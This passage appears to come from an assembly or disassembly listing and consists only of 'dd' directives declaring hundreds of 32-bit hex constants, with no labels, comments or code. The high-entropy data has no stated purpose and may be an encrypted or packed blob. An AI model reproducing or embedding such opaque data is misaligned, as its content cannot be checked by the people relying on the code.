20D0A8ADh, 0CC1CBF01h dd 0D239D69Dh, 68505476h, 0AD605426h, 0E8E54F94h, 0CFEC585h dd 83658A48h, 96003BDh, 0AB6045C2h, 8E007D0Fh, 7B14357Eh dd 4AE93B69h, 0D8B4F538h, 0DB9D0A0Dh, 4B27A690h, 5CE13E73h dd 798529E9h, 0FC20B551h, 73B84F79h, 5334B203h, 32F7D388h dd 27DEF6DDh, 413AE989h, 0F27A21A9h, 70BCD3BDh, 28491104h dd 0E3AA0E12h, 84E9A4A9h, 9520EAB1h, 0BB72408Eh, 992F0DFCh dd 255E5629h, 0E84EB501h, 72C40477h, 23680802h, 0A0ACD96Ch dd 71F5E21Eh, 0A82ED75Eh, 1E74E19Bh, 182B307Eh, 567D414Bh dd 84C4FB4Bh, 0A047ACEEh, 4A456855h, 0DE30EB0Dh, 0BED5B3E9h dd 86044980h, 0ED6DEE67h, 0B475EB3Bh, 8C53A0h, 0B81AE751h dd 0E518AE78h, 0C19F589Fh, 0C91E483Eh, 0E7E52F38h, 44E90801h dd 50C10C3Ah, 845B41C0h, 1FA22075h, 3D13710h, 0CC54E168h dd 0C040206Dh, 480D70B7h, 2B2DC165h, 8814FF2h, 0BBA625Bh dd 82E1F766h, 5D1F611Ch, 2E43E59h, 9638E920h, 0BF7766B5h dd 24EDC64h, 4297F5A7h, 1075E99Bh, 40A82773h, 0EB5F2550h dd 477A8D05h, 79804318h, 4A67556Fh, 0ECE016AAh, 3C8E0206h dd 775A49C9h, 0A2DACDE2h, 6C6D8212h, 0C0D6090Fh, 3A12BB53h dd 1067F71h, 0D337E1E3h, 0DCD14B40h, 93B293E9h, 136C73BDh dd 0B062B85Bh, 5BBC6452h, 2AD2C056h, 424A2606h, 0FAC2F290h dd 63C70B5Dh, 36E61368h, 3E6236A1h, 0E238CA8Ch, 597B2DFEh dd 0C9D01A42h, 67B54C0Eh, 1DE1374Dh, 0F49E346Ah, 195F68E7h dd 0E9C2EFF8h, 13F2139Ah, 2A08AD14h, 0F94A10E9h, 0E589FE4Eh dd 0B54736ECh, 0E760F774h, 90C71AC5h, 169BF6F0h, 53590B62h dd 412CEAADh, 0F42B4BFAh, 44B04957h, 0C0531A30h, 4B4612CFh dd 84BBE041h, 0DF00BB41h, 4E6927A6h, 8615002h, 0D99C7049h dd 2A1CA8C3h, 0E955E970h, 38CA5B9Dh, 0A99853E0h, 236E350Eh dd 7C4C8161h, 96613DBCh, 0FA27843Eh, 6FF1C169h, 681E5478h dd 0D805EC7Ah, 2C4ED2E9h dd 7E84E5E8h, 4A8BB2A0h, 0F7C58692h, 4F62454Ah, 0C595AD70h dd 0C0CA127Dh, 6E2C1D2h, 0F2ADA095h, 1084B933h, 27D70168h dd 2AC910C7h, 7ADD82F8h, 9D176038h, 736EBE56h, 68305F05h dd 30EF0FD5h, 2554BF4Fh, 0BE780202h, 0F72C3841h, 0A521D08Ah dd 9FBB36DFh, 748BC7FCh, 780D5C0Ah, 0E84B77E9h, 9ABAEB8Ch dd 187CBD4Dh, 0E95F6852h, 0BE6A5E14h, 0D36CB044h, 92366D1h dd 4F73E62Bh, 0FD5BAB8Ah, 0A42CCD5Ch, 0B12657C5h, 0DA142805h dd 0A35EEC6Eh, 37C9B849h, 6EAA3E62h, 721DF1BBh, 1500ACFAh dd 510FB438h, 9C24D8B1h, 141CB73Bh, 86C4C101h, 0EC33716Ah dd 7049689h, 912D1AB9h, 0BBD1F712h, 8C588C6Eh, 0E105EC11h dd 0F0D37FC2h, 0B8E0A3C5h, 5B032468h, 0EF20C2C1h, 94256CC5h dd 0DAB794EAh, 405AC1h, 2D5B66BEh, 2D7C5E0Eh, 0A49B858Bh dd 98583A4h, 5585BDA3h, 91DBEB14h, 644CDE52h, 1E4A110h dd 54F6CF81h, 36307C9Fh, 18291425h, 1301F106h, 0E9491D68h dd 0B2A2DA35h, 79FD5BD9h, 0AAD2C5F5h, 7A90344h, 9556E4F4h dd 6FC1A0C9h, 0CA4AB2F8h, 0D9C95F86h, 5B689F2Fh, 0DC2CAC42h dd 0AFB02FEh, 0F509BB19h, 84607FC9h, 60FF2D59h, 0FC9A5E0Bh dd 22B5524Ah, 96C8C7Ah, 2C473100h, 79A117Ch, 92CF12C7h dd 0E021F022h, 0C2D19h, 549DD2Ch, 3DE92B43h, 9616D49Fh dd 5FEE65Ch, 548C4AE0h, 81F6C8ABh, 263AF304h, 0BEC02B8Ah dd 3F1D4FDh, 5BDF29F9h, 8E99BF2Dh, 5F8E053h, 0B94307A2h dd 5E5E09ECh, 0E9EE7825h, 8DE60728h, 3BC2801Ch, 4028B232h dd 825BBA9Ch, 0F436D25Fh, 97D6BACEh, 2940E9BCh, 3F764138h dd 0DA470BB1h, 89A167A0h, 98C8E457h, 0EF175F3Ch, 0A45CE57Ch dd 0C9DAC90Dh, 5219BC58h, 1E6A7FB6h, 2ED9FDC2h, 684EC8E9h dd 0C54049C7h, 54B7884h, 0B500E5C1h, 86721BF5h, 4C54FC1Eh dd 40A01CAAh, 6200470Dh, 0E8C134C3h, 0E4E92D06h, 0A1015EFBh dd 0A6E76E1Ch, 0DC4F347Fh, 57BEC2E7h, 25F0F70Fh, 0B3B40D50h dd 0A5618868h, 81544222h, 6E580EBh, 24B2288Bh, 58097954h dd 279B7F1Ah, 624871CAh, 5373DC88h, 15208AB8h, 4BF8BD9Bh dd 1D7C2C2h, 0C183DE89h, 3AC77AE9h, 0CCF77AD0h, 760E2E10h dd 942AC1Eh, 47E8D782h, 5E825569h, 2FE206Bh, 0ACCA645Ch dd 657FF131h, 2985891Dh, 8A04B7DAh, 89F436F7h, 48860E81h dd 5B7D6800h, 888918B1h, 7E70D7F4h, 26C7D39Fh, 45290B3Ah dd 1C8962E5h, 5A13D444h, 0A61304FDh, 6850BA80h, 361E5595h dd 5D3FAAE9h, 504082D1h, 78D7250Ah, 630882F6h, 0DA02FB57h dd 0BDA670A8h, 0E1E5B9F9h, 7C5AF449h, 0CFF8B957h, 53E4D906h dd 3888BBBDh, 9C7419EEh, 3ED1A01Dh, 18E95E02h, 9B6757C1h dd 65ED7F3Fh, 0E4C63AB8h, 183DBEB2h, 0CB0FCF86h, 0E477D6A2h dd 2E749FC2h, 0B4169D6Ah, 0A67B40F1h, 0C8EA4E9Fh, 44D2CA4Ah dd 7AB1B7ACh, 9A680076h, 0CD97C505h, 0C737AE11h, 7502D392h dd 56808D67h, 0DBB35968h, 0CD27B45Bh, 42334191h, 0FD5C0257h dd 5066FF4Ch, 4FC8584Dh, 4A39FC37h, 0BDA160FFh, 0E59CFEF7h dd 9D92FBCh, 3FE2E5AFh, 0FEFDEF0Ah, 3E0F78B7h, 0D6EAC080h dd 0CA04FA98h, 0BE17EB89h, 0C8AE6AD5h, 9C40B53Eh, 0C4C2EDC1h dd 0BD452A3Ch, 9D1279Ah, 50704C5Ch, 403C03B8h, 5CE91DB0h dd 0C265FFE4h, 0D3A5A2AFh, 31E51741h, 24206F23h, 101500B3h dd 4794BD08h, 0E9197733h, 0FAB3B1A0h, 0D33E0531h, 5F75F68h dd 0A1FCAC9Ah, 17819611h, 8D2A3BEEh, 12502A33h, 0FF0C6B08h dd 0B681E2Ah, 9E5810E9h, 0BB67BB7h, 65D54451h, 8E5C9251h dd 0C8D951D3h, 331296BEh, 190002B5h, 4F3527E2h, 814E4FE9h dd 20F828BCh, 75C05A09h, 7BB951D8h, 0C07DE444h, 0C0203240h dd 0BC5AE93Ah, 74663D0Bh, 0C97A4252h, 4C309C09h, 0A55FD456h dd 0C7257EFDh, 2897B5CAh, 5B9D5AADh, 0D6E98BD0h, 0BA52BCA0h dd 413D308Ah, 0F2849832h, 48C15A92h, 1E274FEBh, 6F05CC41h dd 1040EECh, 0AB5A5818h, 42AE6A34h, 7B6E6843h, 0CCEE1A2h dd 0F0D8620Bh, 0C727442Ah, 5F556AB7h, 7EB50658h, 7CE90F78h dd 2A60279Ah, 7E76A022h, 0A9DDF11Dh, 5ED6439Eh, 95BA97E0h dd 816182FDh, 84187D44h, 0D6546BE9h, 52B5F89Dh, 3F60B08h dd 9C8973B5h, 8D770F29h, 670D1CB1h, 450D293Fh, 0E9109013h dd 5DCE1193h, 0E721E5C2h, 0EC4E078Ah, 3A92AD18h, 0BC573466h dd 4F500101h, 1F682F4Ch, 2E61B62Bh, 0F6890464h, 0BD3D84DBh dd 65EA8BBAh, 43FC9FDCh, 0E03E64C1h, 0E2933110h, 2583672h dd 0B5ED2EE7h, 4419FBA7h, 0EE800387h, 6AF699F1h, 9D6DC3D8h dd 0B36A0E77h, 81662DFFh, 0C3284C1Ah, 167F66E9h, 128DCB36h dd 8882D654h, 90ADF7D0h, 4B9C1EEEh, 0F79828AFh, 0C0AE04FFh dd 65F281F6h, 76485013h, 9C523700h, 0C72960B3h, 9C45E9ECh dd 0D1EC462Eh, 53038094h, 0A266F7B3h, 61484280h, 403890C0h dd 1158F5Ah, 0E9C8BE0Fh, 0AB2AE533h, 0BBC23177h, 5A985514h dd 7FAB6994h, 0BF6448C1h, 9D74202Bh, 0E46FD879h, 0A3EA47C3h dd 68A26195h, 0A23E21C9h, 6FA977Bh, 2C5F3AADh, 8970C990h dd 1866DA26h, 3B930800h, 98F92946h, 0F8214A41h, 555AA01Fh dd 31A02BDh, 70E90893h, 442FDED6h, 0B0909037h, 0BCE14A26h dd 3568A17Ah, 1C4FA36Ah, 28B1F4E9h, 7D70C680h, 1376BDF3h dd 30E6AA88h, 0C57331A8h, 0E7814702h, 0DED679FAh, 0E8F3EEDh dd 0BFB20F5Ah, 1DE9C747h, 9F8B4E59h, 1EC86172h, 0C32952C0h dd 0FDA38990h, 826B5288h, 18135584h, 2D3446FEh, 0A9E041A1h dd 0EC4C37D2h, 77ED02D1h, 0FE55E851h, 0B78E0902h, 0D7659EFCh dd 662D20BCh, 862E215Fh, 0FDEEFEC6h, 0E985C16Dh, 0A74B0E94h dd 56F483EDh, 5B100BB2h, 3E57348Bh, 583794F6h, 0D4A05051h dd 59815467h, 0D3DB0BD8h, 0F88E448Dh, 0FB310760h, 580B1CF3h dd 0F6262B0Eh, 0D4584798h, 6495AEACh, 852A1C04h, 0E4FD8807h dd 1645FDA8h, 87BEF581h, 0ED96C3E1h, 5551875h, 0AA828A81h dd 7909478Bh, 0B7401609h, 0E2D265D4h, 0E1D551C6h, 93E8D5E9h dd 64EF296Ah, 56A6AE00h, 0DB1CD305h, 1E2CAA4Fh, 3D3512D1h dd 5B980075h, 475CB439h, 0AD6856B7h, 212E0FD5h, 698C5E72h dd 9AADE0DBh, 55DD27D8h, 687C1FD8h, 849A239Ah, 25E8BA05h dd 12BB6CEAh, 0D1560B5Dh, 0E413C8Eh, 30215155h, 5B19715Dh dd 50FA189Bh, 5E5F15ECh, 48A0ED31h, 3F300D2h, 0E9854FB1h dd 97139219h, 3E02F679h, 4004287Fh, 2F405056h, 309895C3h dd 14F41E9h, 5C440EBh, 38F0F90h, 0D8EF8CA1h, 38B06D2Dh dd 7DC10995h, 549F0D9Ch, 0FD820982h, 0EE2FA7D1h, 0F53FA1B2h dd 0F93FFF25h, 0A98AD39Fh, 0CF1C5B79h, 7DC569BDh, 0B035B54Eh dd 81EDCF64h, 7CB85Eh, 23B43336h, 92E7C14Fh, 89C84B0Eh dd 0E07DE08Dh, 2CB567B7h, 27A2028Bh, 585411DCh, 4F446602h dd 0D6A1430Eh, 845F97C7h, 36B2C911h, 14869899h, 34A6EFC4h dd 47016A7Fh, 8F090045h, 72AD6806h, 0F8B23DCEh, 12B3C59Bh dd 0FB2E3A50h, 0B24D454Eh, 1392E1C8h, 1E1A1B4Ch, 0C203F42Ch dd 90D88h, 202FE065h, 0EB012E3Dh, 0AB5B9233h, 0FEB82F49h dd 955F2523h, 0D0898916h, 0A51C7BDFh, 0FB9DAD50h, 6B5CE947h dd 2BC04B39h, 388099B2h, 0D53A9FEDh, 0FDCAC5BAh, 0B75380BEh dd 0FEDFF63Ah, 81303C7h, 0E1E95BFDh, 69F3BACCh, 5B8933C8h dd 0C233F721h, 2A7063D2h dd 0D72B902h, 0F55120E2h, 0E9127A5Ah, 0B36713h, 0B9755603h dd 0C2F15249h, 0FE3CA5D0h, 0CA7B8E92h, 8782E629h, 78E0BE5Fh dd 0E916E078h, 861ECE5h, 81005AC6h, 461EBBCBh, 27FF4C59h dd 0EEE0522Bh, 0E186469h, 0E5FCBB05h, 0C0104F7Ah, 5550BBD0h dd 0D4271F27h, 93CE80DEh, 4E256E72h, 0C8020190h, 0E97B853Dh dd 0FE2823CAh, 1E705CBAh, 881CD795h, 0C237E927h, 0F657E667h dd 6702BD31h, 0B7FCDFEh, 200C7075h, 0B30FC6A7h, 0D2B5514Bh dd 88F3D8FBh, 5FA8DC5Bh, 0E9B3E4B0h, 551E5D2Dh, 6857DEB0h dd 6D43A11Fh, 0B8015F93h, 0E760105h, 17C04920h, 0E819531Ch dd 0ED3124CEh, 751B4227h, 0BA982066h, 0A7F7A058h, 0E8B126B5h dd 0E24111E5h, 268250D3h, 515A8A2Ch, 0F11C3141h, 98D16AB4h dd 0C120501h, 418952F1h, 4EA059DBh, 0C29710B1h, 65051A48h dd 0EC740147h, 0FA5C66FAh, 0FAC74B9Bh, 60EAA4C4h, 0D1F6E9F8h dd 56C8FE5Fh, 0E1D4955Dh, 6265A5BFh, 52FE51DEh, 0F45A6B44h dd 0B2B8B4C4h, 0C46ED7DEh, 0E7F7BB48h, 0FF190192h, 603E593Bh dd 3904D321h, 0B3E91E8Eh, 0A2D7BB0h, 5244A79h, 0C3EA1EC3h dd 0C83173ECh, 1CC4CC20h, 13A8F280h, 511ECCD0h, 0C0CDB100h dd 0F18002E9h, 76E1EC58h, 711B003h, 0B450C9FEh, 69C1E19Fh dd 0BFE1FB28h, 7543935h, 344B40A1h, 0FED283B1h, 0D3F4E37Ah dd 0BD4FD0EAh, 412D3E22h, 3003DE32h, 0FD3842F2h, 0CBBE1D4Bh dd 0F3787B33h, 421733FAh, 91171F8Fh, 15A34FBh, 144D2BDEh dd 8C804009h, 1E053C5Bh, 0E4F1E941h, 5FFD3ED1h, 641A6C83h dd 2A0020D0h, 0A657193Fh, 95030DE9h, 6FED3118h, 3BC49895h dd 0C80580C1h, 0DB8D2E26h, 72DF00Ah, 0C4FA4A3Eh, 0FFECAAD0h dd 527A0193h, 700C602Fh, 95940751h, 584FF018h, 0C581F601h dd 0BD2E5E04h, 0E95D04D5h, 71ADC871h, 20B8C01h, 31F90107h dd 0B0080518h, 629DA3A1h, 1CFC5545h, 9DF793D8h, 0C409A222h dd 5D2527D9h, 0C24DAD02h, 0ACA2DF09h, 3BF6FB6Dh, 0D6685A40h dd 0E1329537h, 0B0CF337Dh, 716A336Fh, 246CB46h, 0B0F5DDE1h dd 88BD6EA1h, 155E3E42h, 125AAEA5h, 6A91C526h, 0E9AB40Ch dd 929CFE90h, 203298F2h, 47976C82h, 0B2FC0818h, 56A96807h dd 1D6E7709h, 0AD2C88DCh, 8EEB2193h, 26320030h, 0C889E168h dd 4047B859h, 0ED9F2910h, 0ECDF25D4h, 511B2C1Eh, 145A9274h dd 0B03BA598h, 1F758BAh, 0BFB252BEh, 3F07EAC0h, 9610B5E6h dd 0D4B6178Ch, 2226CCB0h, 0F996FE28h, 0F556A51Eh, 5BC2CC24h dd 0CF18F505h, 0BE800440h, 52611637h, 214F007Fh, 0F72C2835h dd 4527D648h, 0F9382AC8h, 41C994E0h, 2EC568C9h, 1D8423F0h dd 816ECE3Fh, 0F22562EEh, 7A142AFFh, 0CCE57BDBh, 22161931h dd 0B94104E9h, 14E56853h, 28605B89h, 0C32D6C52h, 0F31CFF02h dd 6B8D5695h, 9D084EDFh, 0C6096B7Eh, 7DB0FD61h, 49494268h dd 611984E4h, 9DCFD6BCh, 94828F38h, 0C7165F82h, 0F607B501h dd 0A7C9E9DDh, 2EB5B34h, 0C1231439h, 160108E5h, 2B315403h dd 28347EE4h, 839B4284h, 850C4ECDh, 2BC9EA70h, 634ED7Ah dd 67101CD7h, 252D7A46h, 60298EFh, 59FEB9E9h, 5DB9AD13h dd 580308C0h, 909B929h, 0DE4D3228h, 9B1C3071h, 60E35A7Bh dd 5F81D470h, 54AC8B2Eh, 322D578Bh, 53A886DFh, 98C29F0Dh dd 62BEF97Fh, 2F77D1E9h, 55A5BF8Dh, 54301914h, 5917DC5Bh dd 4D1E0B02h, 0A4C2D9E9h, 0CAFD5B62h, 85C5425Dh, 0CCEB8776h dd 0CC4EBDB8h, 132538F3h, 28D62F42h, 97418558h, 688407D3h dd 0E7ED3045h, 0E9170CB6h, 90EE3F01h, 70031762h, 4C065758h dd 0F861709h, 0C116ABh, 0E9135CEEh, 0FE4BD0D6h, 50B8CD56h dd 2817680Bh, 6B209B46h, 68E388CBh, 247B4B27h, 813F815Eh dd 0D412AD0Dh, 5C86CFE6h, 49BE3AC3h, 881A0507h, 7E9055A9h dd 264E72E9h, 3C59B790h, 0B83448DCh, 0FE67CA06h, 6E0F187Fh dd 801AF835h, 0C9485DE3h, 48589F7Eh, 9B18D398h, 8F863E14h dd 0ECCFD3C7h, 0FD746B2Bh, 7C010640h, 536F5F81h, 280AFDDh dd 0B79915E9h, 0CF6D198h, 5A08A902h, 7852D2F7h, 0CA40A1ADh dd 0A01957EEh, 0D1937ADDh, 0DCFAFA32h, 4FCF8162h, 40295059h dd 42DBA9F2h, 39BB845Eh, 33E482F2h, 7515022Ah, 1679979h dd 1718D8B9h, 4962AD9h, 2CCE490h, 77D1F749h, 3116E110h dd 0CC78573Ah, 0C3D962C2h, 270F7C58h, 57899D4h, 1C4B171Dh dd 0F594A873h, 0DF5F582h, 9F2ED088h, 0BD350907h, 4029220Eh dd 58E71D92h, 2305E437h, 0BC479A1Eh, 0ED4212C7h, 40C9A9B4h dd 26F8ACEEh, 546F04B7h, 5FB728AFh, 6BFC7197h, 0E0AD7F74h dd 25C15C98h, 80218E8h, 395F05B7h, 0E804F1C3h, 0E257B4A5h dd 5617E2A9h, 741CB158h, 62B70586h, 8F7E7D76h, 0C2BE54F8h dd 0D889508Eh, 325D4F0h, 0B63FBCBh, 97F625CFh, 2D12E961h dd 3C5D12Fh, 2B68008Eh, 26742736h, 7F289DDBh, 6C4E8A74h dd 0B5200FE8h, 8DB046C4h, 0D2B78AFAh, 87E528AEh, 0C0767C95h dd 3CDE1B36h, 2AC5850h, 0A85A2390h, 0F087CFFh, 0D17A0095h dd 0E7C145EDh, 0B7C5B281h, 0DB2602BEh, 2E2737D0h, 21D40A50h dd 216C6681h, 2222B674h, 8CF39708h, 0F6952009h, 0E0784BBDh dd 4A12DC20h, 0C998EE5Ch, 0BBD9B55Bh, 53A0C069h, 0CD5154E9h dd 0FADD5E88h, 7AB28B0Bh, 58C12F00h, 3BC496FEh, 77F26FD7h dd 0A7B9F928h, 0B709E87Dh, 9E7F585Eh, 3662CF03h, 0E7B03BFAh dd 4D265044h, 4A08346Eh, 0C9D09DDAh, 0D668A85Fh, 577003C8h dd 133FE594h, 25E9C36Eh, 40C56110h, 5503E6DFh, 0E3C10D72h dd 5060008h, 8607F381h, 0E2B50A90h, 40F1CA43h, 16378A3h dd 0C3016572h, 3A4FBD68h, 41CCF530h, 0D16012F2h, 4814ABE6h dd 67926EF5h, 0BBB567Ch, 57550B8Fh, 43DAA43Bh, 5A163FD4h dd 9ECF1E55h, 0B7A7C6AFh, 93AC1BFEh, 0C8AA8D12h, 8195DB6Ah dd 0CEB8049h, 0D22AD221h, 0B9C8D89Bh, 0FD2C1BA5h, 7803B346h dd 2AD73Dh, 0D098950Ch, 0EE66E9F2h, 40BB44D7h, 96B58528h dd 32972988h, 0BB697625h, 5426658Ch, 50584110h, 0F4482783h dd 0B085EF48h, 481CAE11h, 37E9EB03h, 2D2602ACh, 2CCCB501h dd 0EAC343D7h, 320BF55Ah, 4A521E74h, 258D40AEh, 5FA83B64h dd 0A0A1FF28h, 811F563Ah, 0D39D3E01h, 0A10DA97Ah, 0B2E67E9h dd 0A2DF4DAAh, 0A383F30h, 0B752545h, 714B5DCDh, 0BC265D50h dd 0B30B340h, 5C0868D8h, 4D1281A2h, 0EE883E69h, 3580CC77h dd 0EBA706B9h, 0EF2CF00h, 57C8BC2Ah, 9F005C21h, 0E927B038h dd 0D19ABF1Dh, 0A354E1ECh, 0FC04EF91h, 57281803h, 0BB7CFA0h dd 5B648550h, 0ABDEAA85h, 8E94E837h, 0A0BF0994h, 355AF63Ch dd 326CF5E1h, 50C888C3h, 2877DC9Ah, 861CDCB3h, 8D0F6CCh dd 0AA835E68h, 30D97D31h, 244BFE01h, 4DBAC73Ah, 0A2295827h dd 0B1C5CC6h, 0CD81A85Eh, 66E310D4h, 370B6F30h, 0F7CAFD7Eh dd 439C02F7h, 0E929015Dh, 0BC2FA4D5h, 0D08BDEE7h, 4B6DDA65h dd 0C7E6300Dh, 77647A1Eh, 37B8BC90h, 5B6DCC05h, 2283AB63h dd 0E0FDE194h, 0BA20917Ah, 1D913A58h, 0CD6EC6B3h, 0CCBC3FB6h dd 511DF78h, 1F503A6Dh, 0C6C146Ch, 4613E982h, 808CBADFh dd 310FF65Ch, 0CD892E69h, 0CDDF3980h, 0A5F33C11h, 1271A3BFh dd 0D9AFC253h, 56328073h, 663A71BEh, 6DF19F52h, 8510FD25h dd 99598E9Ch, 65975FDFh, 0BA0059C4h, 6A7A7852h, 0F20068BEh dd 0D4F4F0A6h, 8A362DE9h dd 27DAB92h, 7D881198h, 0F3A549D3h, 0E0280978h, 0BB62E8DCh dd 0F579F740h, 24AD8C88h, 1EEC25A6h, 7572C20h, 88521BB4h dd 82F724E6h, 8155BE5Fh, 61F46822h, 0D059447Bh, 6F801228h dd 3ED703A8h, 0FB935768h, 2B1DE57Bh, 8B9F05AAh, 40DAEE3Ch dd 0DEC7E90Dh, 0DC442B64h, 21020955h, 0E3C15FF8h, 0BC8F7110h dd 34955D05h, 9981B5CEh, 77E1417Fh, 4A230C85h, 0BBDBC4FEh dd 81A6484h, 0B6140D0Ch, 18BFD67Ah, 0BF67491Dh, 0EA342999h dd 8F5B0843h, 0C14C2A6h, 3F652318h, 0F029A0Ch, 31E968BBh dd 0C300C8B8h, 358297BAh, 9A5D6A4Dh, 813B74C1h, 0ED1CB7E5h dd 8B733026h, 6BBA4C12h, 0B8EE1484h, 87F50244h, 5E6023A5h dd 0E9550572h, 5B8DE8DEh, 97DF2AB0h, 5024CBC6h, 4D129F9Ch dd 64D8B0BDh, 0EA015D52h, 33F78114h, 3EE79651h, 116790Ch dd 0ABF60164h, 7E4959h, 978A2534h, 1E1A2800h, 79980D7Fh dd 0E0ECF7E8h, 16FE92Dh, 0DD89593Bh, 0D25CAAE0h, 52AEE17Ah dd 685827h, 800043B4h, 0D4F6CAE4h, 76B55152h, 0AD55C5Ch dd 0C1767920h, 782ADC3h, 3E70E6AFh, 0A12D19EBh, 0C097D76h dd 1CE4D54Bh, 0F1F0713h, 82A3DEB0h, 1BBCB460h, 4D3A8917h dd 0B82B83AEh, 29F2B29Bh, 1023202h, 0E6A5B353h, 595DE8DFh dd 0EEE0F550h, 805C95D3h, 5AC8DDFAh, 254F93E9h, 5BCEEEBCh dd 0CC8451AFh, 0DCF2AB61h, 0F5CD8392h, 0F5E8B8E5h, 0B901FDA6h dd 785B3643h, 2A76EEE9h, 3B347527h, 49B5BFA3h, 0CF6C5EABh dd 7CA4CE09h, 121FFC3Bh, 0DE2BB891h, 141B044h, 0B5DADE0h dd 31F31B09h, 5249A2F5h, 0E7D5A36Bh, 3EF9B05h, 3EB2C736h dd 0C0478F5h, 7E187DD7h, 9AD0EAC4h, 3D08ECBBh, 89274657h dd 45D098Bh, 4839383h, 7F34E2C3h, 7290BF10h, 0AF301B24h dd 0AD8BBB3Dh, 2C7E23Dh, 5ACAA2CEh, 245B25BEh, 0F61F4C55h dd 75EBEC1h, 1945E5D1h, 4F990000h, 214F6EC0h, 27DBDE04h dd 0A7C535A8h, 0D415F255h, 42B3F27h, 97E9231Ch, 5B0CC1ABh dd 8BC2E8Bh, 5CB05B5h, 0EFAB358Ch, 4A4D99A6h, 0C291F397h dd 575C9668h, 23D4298h, 2931ABFh, 0C3EF3C7h, 0AC413A0Ch dd 0FEB55E41h, 0B9F1062h, 0E133A614h, 2D5291C9h, 7A173F86h dd 25762D01h, 0E88334EAh, 407AB0FBh, 0BC555A2Ah, 0F37D3F74h dd 0FE58C728h, 0A20F34F5h, 1C200710h, 0AE16AF38h, 8681EF92h dd 0DC6BCAF9h, 93A159D4h, 25429BFh, 41CD95C3h, 24D354F2h dd 0EB191674h, 0D3CB8A90h, 7B52C39h, 0A4C535B5h, 3984B69h dd 5778BA0Ah, 0AD02B66Bh, 600CF96Dh, 2E1EACB2h, 1F6F1852h dd 6B0F0BF1h, 0DF965DE7h, 561280A2h, 0DD0CF5CFh, 0FBC5A7A5h dd 2E179FDEh, 42775233h, 645E57D3h, 0BB5FE904h, 4EB6D8C8h dd 13DBFC57h, 28FCF7D7h, 6F6A0C9h, 4E1C7725h, 55B531BDh dd 34B68C8h, 0E9354539h, 3C06B89Eh, 5F3EDFBBh, 131B209Ch dd 6A0BA05h, 938215E3h, 0C78003A3h, 0DE482414h, 0C5FE92C1h dd 0BBF582CDh, 501A0BD1h, 9472DFF6h, 0D382507h, 0B2A5116Ch dd 685A4690h, 0F3284E39h, 0BF651614h, 0FC2B43C9h, 0E2AEB443h dd 0E9EAE4ABh, 58C38551h, 0BC31B24h, 0DCEF0484h, 0E84B0516h dd 0E2587313h, 50C202A5h, 401BCA06h, 0C2D8E596h, 2268559Ch dd 0EE8D78C2h, 8DD02BB6h, 30102BC3h, 54927DEDh, 65482E55h dd 1270645h, 131868ECh, 1EFEC933h, 909393CAh, 9C46517Fh dd 28E1748h, 0BD3FDEFh, 9BA2F5D2h, 800BF0D4h, 70685195h dd 2911306Ah, 0FD0F178h, 0C60E4B26h, 5A659E00h, 5E1A6827h dd 0D46AB91Fh, 7459277Fh, 0E58A15B5h, 20B1E74Fh, 90680443h dd 85167819h, 0F26212DCh, 10E98412h, 9D012CA0h, 0FD27025Bh dd 0EF5FF205h, 4D6D0BD0h, 41DCB03Bh, 6BB66944h, 467160E4h dd 7397B879h, 685F09DAh, 0D6C62240h, 0C077A51Eh, 5055DEFh dd 3117BA94h, 38E2E2E4h, 804E6285h, 8F12DCEAh, 59E04A5Eh dd 4A1F984Dh, 2D2485D7h, 0B9AD6B28h, 0BEF80116h, 0B4612E61h dd 0EAC53793h, 0C0F9E553h, 6691BF4Bh, 887AD389h, 0BA065292h dd 290D258Dh, 65DF178Eh, 69240619h, 0FA5E69DDh, 60843CEEh dd 645BB2B2h, 0ED1EAC0Ch, 0FAD0975Dh, 0C8137D12h, 7C6BE9E8h dd 1E484627h, 3DA0F4E9h, 841C5DBBh, 6330187Ah, 6EF1C55Bh dd 22D02558h, 120C90DCh, 9ACD913Eh, 9850B579h, 5FAAC2D6h dd 13A2A8A4h, 39EA3159h, 3A712B83h, 0EC7CE189h, 0BB0531D4h dd 0BA441671h, 81D1BD4h, 0B0CBC24Ah, 5A505549h, 0E2BB51B7h dd 8E6A7CE9h, 5B54F95Dh, 2DE9AC05h, 0A9CCFED6h, 95EB7D68h dd 0E9137596h, 0E7BD69B1h, 5D154A04h, 2EEC21Bh, 0FE299E0Eh dd 8A4D0507h, 82E05956h, 0EA14C007h, 1E358079h, 0D3AFF309h dd 0E7E9F701h, 0AA457E2Dh, 0C6EA9CEDh, 0AC70FC83h, 8A4CA26h dd 6033C907h, 20B82924h, 5E950841h, 0BF02F7B3h, 110A54DBh dd 2ABA71E1h, 2CD2DB4h, 29041F7Bh, 78E2DD0h, 0A66BA9A1h dd 25343B25h, 5B679BC1h, 70C5FA04h, 39A0E387h, 959DE549h dd 577F0B78h, 0E601D7BEh, 26B30B8Ah, 288EF6D8h, 2DCBB208h dd 816679EDh, 552CA50Fh, 770EAA31h, 0C4BFC313h, 65A8AF0Eh dd 0FACFE9C2h, 7BB73FEBh, 0AC038870h, 0B151D830h, 53C1F04Fh dd 503E01B7h, 7DE9F2B0h, 1D303B66h, 4B9819D8h, 96CDA820h dd 1D3AF505h, 617AAACDh, 6318880h, 0D3F63074h, 3D01EFA5h dd 46D72B2Eh, 8AEA7F25h, 68FD81DDh, 8D2A029Ch, 9E5D20D2h dd 17A287Bh, 0F0E9DF0Ch, 0BF52C0F6h, 9A20C1F0h, 816606BCh dd 0A51A3CFh, 3135EF1Eh, 4FDDF8A7h, 25938D15h, 8918393Ch dd 54E209C1h, 0BAFC2D63h, 18BD572h, 0BEB3C5FDh, 0B4BDC58h dd 0CA795A77h, 72BDE962h, 0BF30E7A2h, 0BE79BD67h, 0BA14E987h dd 2F0FE4D9h, 0A244E12Dh, 2CEEB781h, 6DB900EDh, 81486A07h dd 264AE6E1h, 34375B40h, 2E418004h, 863504Ch, 0B967C111h dd 0A82F97C3h, 66E50070h, 557B773Ah, 0FBA2D3FFh, 2D627E02h dd 0F6DFE0A8h, 7F1E966h, 694F83Eh, 12F57DA3h, 6EB091Ch dd 0A806765h, 61DC54D2h, 42A318C1h, 0A83893E3h, 0E912EA58h dd 6959A177h, 0FA6427EBh, 0AEC10745h, 0B57EA82Ch, 5DFC4D3Eh dd 8F26EF0h, 0EA284F4h, 0E92270F3h, 69F2E2E3h, 5C2F872Dh dd 8B5F523Ah, 16F4B49Ah, 5B070FE9h, 0A8CA659Fh, 0F725B25Eh dd 0C0472CB0h, 0D4E5DF82h, 89BC2F3Fh, 0C0515DBAh, 0FEAFE44Fh dd 52815BEDh, 7A169268h, 0BE4AC8Dh, 0E914440Eh, 18826C2Dh dd 0D2CD701Fh, 0C3A40E48h, 0D122AB02h, 0B50B95D0h, 